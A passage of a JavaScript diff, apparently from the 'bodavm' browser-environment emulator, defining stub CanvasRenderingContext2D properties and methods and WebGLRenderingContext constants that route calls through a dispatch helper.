+}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineWidth", { + configurable: true, + enumerable: true, + get: function lineWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineWidth_get", arguments); + }, + set: function lineWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineWidth_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineCap", { + configurable: true, + enumerable: true, + get: function lineCap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineCap_get", arguments); + }, + set: function lineCap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineCap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineJoin", { + configurable: true, + enumerable: true, + get: function lineJoin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineJoin_get", arguments); + }, + set: function lineJoin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineJoin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "miterLimit", { + configurable: true, + enumerable: true, + get: function miterLimit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "miterLimit_get", arguments); + }, + set: function miterLimit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "miterLimit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineDashOffset", { + configurable: true, + enumerable: true, + get: function lineDashOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineDashOffset_get", arguments); + }, + set: function lineDashOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineDashOffset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "font", { + configurable: true, + enumerable: true, + get: function font() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "font_get", arguments); + }, + set: function font() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "font_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textAlign", { + configurable: true, + enumerable: true, + get: function textAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textAlign_get", arguments); + }, + set: function textAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textAlign_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textBaseline", { + configurable: true, + enumerable: true, + get: function textBaseline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textBaseline_get", arguments); + }, + set: function textBaseline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textBaseline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "direction_get", arguments); + }, + set: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "direction_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontKerning", { + configurable: true, + enumerable: true, + get: function fontKerning() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontKerning_get", arguments); + }, + set: function fontKerning() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontKerning_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontStretch", { + configurable: true, + enumerable: true, + get: function fontStretch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontStretch_get", arguments); + }, + set: function fontStretch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontStretch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontVariantCaps", { + configurable: true, + enumerable: true, + get: function fontVariantCaps() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontVariantCaps_get", arguments); + }, + set: function fontVariantCaps() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontVariantCaps_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "letterSpacing", { + configurable: true, + enumerable: true, + get: function letterSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "letterSpacing_get", arguments); + }, + set: function letterSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "letterSpacing_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textRendering", { + configurable: true, + enumerable: true, + get: function textRendering() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textRendering_get", arguments); + }, + set: function textRendering() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textRendering_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "wordSpacing", { + configurable: true, + enumerable: true, + get: function wordSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "wordSpacing_get", arguments); + }, + set: function wordSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "wordSpacing_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "clip", { + configurable: true, + enumerable: true, + writable: true, + value: function clip() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "clip", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createConicGradient", { + configurable: true, + enumerable: true, + writable: true, + value: function createConicGradient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createConicGradient", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createImageData", { + configurable: true, + enumerable: true, + writable: true, + value: function createImageData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createImageData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createLinearGradient", { + configurable: true, + enumerable: true, + writable: true, + value: function createLinearGradient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createLinearGradient", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createPattern", { + configurable: true, + enumerable: true, + writable: true, + value: function createPattern() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createPattern", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createRadialGradient", { + configurable: true, + enumerable: true, + writable: true, + value: function createRadialGradient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createRadialGradient", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "drawFocusIfNeeded", { + configurable: true, + enumerable: true, + writable: true, + value: function drawFocusIfNeeded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "drawFocusIfNeeded", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "drawImage", { + configurable: true, + enumerable: true, + writable: true, + value: function drawImage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "drawImage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fill", { + configurable: true, + enumerable: true, + writable: true, + value: function fill() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fill", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillText", { + configurable: true, + enumerable: true, + writable: true, + value: function fillText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getContextAttributes", { + configurable: true, + enumerable: true, + writable: true, + value: function getContextAttributes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getContextAttributes", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getImageData", { + configurable: true, + enumerable: true, + writable: true, + value: function getImageData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getImageData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getLineDash", { + configurable: true, + enumerable: true, + writable: true, + value: function getLineDash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getLineDash", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function getTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isContextLost", { + configurable: true, + enumerable: true, + writable: true, + value: function isContextLost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isContextLost", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isPointInPath", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isPointInPath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isPointInStroke", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInStroke() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isPointInStroke", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "measureText", { + configurable: true, + enumerable: true, + writable: true, + value: function measureText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "measureText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "putImageData", { + configurable: true, + enumerable: true, + writable: true, + value: function putImageData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "putImageData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "roundRect", { + configurable: true, + enumerable: true, + writable: true, + value: function roundRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "roundRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "save", { + configurable: true, + enumerable: true, + writable: true, + value: function save() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "save", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "scale", { + configurable: true, + enumerable: true, + writable: true, + value: function scale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "scale", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "setLineDash", { + configurable: true, + enumerable: true, + writable: true, + value: function setLineDash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "setLineDash", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "setTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function setTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "setTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "stroke", { + configurable: true, + enumerable: true, + writable: true, + value: function stroke() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "stroke", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeText", { + configurable: true, + enumerable: true, + writable: true, + value: function strokeText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "transform", { + configurable: true, + enumerable: true, + writable: true, + value: function transform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "transform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "translate", { + configurable: true, + enumerable: true, + writable: true, + value: function translate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "translate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "arc", { + configurable: true, + enumerable: true, + writable: true, + value: function arc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "arc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "arcTo", { + configurable: true, + enumerable: true, + writable: true, + value: function arcTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "arcTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "beginPath", { + configurable: true, + enumerable: true, + writable: true, + value: function beginPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "beginPath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "bezierCurveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function bezierCurveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "bezierCurveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "clearRect", { + configurable: true, + enumerable: true, + writable: true, + value: function clearRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "clearRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "closePath", { + configurable: true, + enumerable: true, + writable: true, + value: function closePath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "closePath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "ellipse", { + configurable: true, + enumerable: true, + writable: true, + value: function ellipse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "ellipse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillRect", { + configurable: true, + enumerable: true, + writable: true, + value: function fillRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineTo", { + configurable: true, + enumerable: true, + writable: true, + value: function lineTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "moveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function moveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "moveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "quadraticCurveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function quadraticCurveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "quadraticCurveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "rect", { + configurable: true, + enumerable: true, + writable: true, + value: function rect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "rect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "resetTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function resetTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "resetTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "restore", { + configurable: true, + enumerable: true, + writable: true, + value: function restore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "restore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "rotate", { + configurable: true, + enumerable: true, + writable: true, + value: function rotate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "rotate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeRect", { + configurable: true, + enumerable: true, + writable: true, + value: function strokeRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeRect", arguments); + } +}, 'prototype'); +// WebGLRenderingContext对象 + +bodavm.memory.globalobj['WebGLRenderingContext'] = function WebGLRenderingContext() { + console.log_copy('WebGLRenderingContext 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLRenderingContext)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLRenderingContext'], "WebGLRenderingContext"); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 256 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 1024 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 16384 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POINTS", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINES", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_LOOP", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLES", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_FAN", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ZERO", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 768 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 769 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 770 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 771 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 772 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 773 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 774 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 775 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA_SATURATE", { + configurable: false, + enumerable: true, + writable: false, + value: 776 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_ADD", { + configurable: false, + enumerable: true, + writable: false, + value: 32774 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 34877 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32778 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_REVERSE_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32779 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32968 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32969 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32970 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32971 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32769 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32770 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32771 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32772 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32773 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34962 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34963 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34964 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34965 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STREAM_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35040 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STATIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35044 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DYNAMIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35048 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34660 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_USAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 34661 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_VERTEX_ATTRIB", { + configurable: false, + enumerable: true, + writable: false, + value: 34342 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT", { + configurable: false, + enumerable: true, + writable: false, + value: 1028 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1029 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_AND_BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1032 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 3553 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2884 +}); 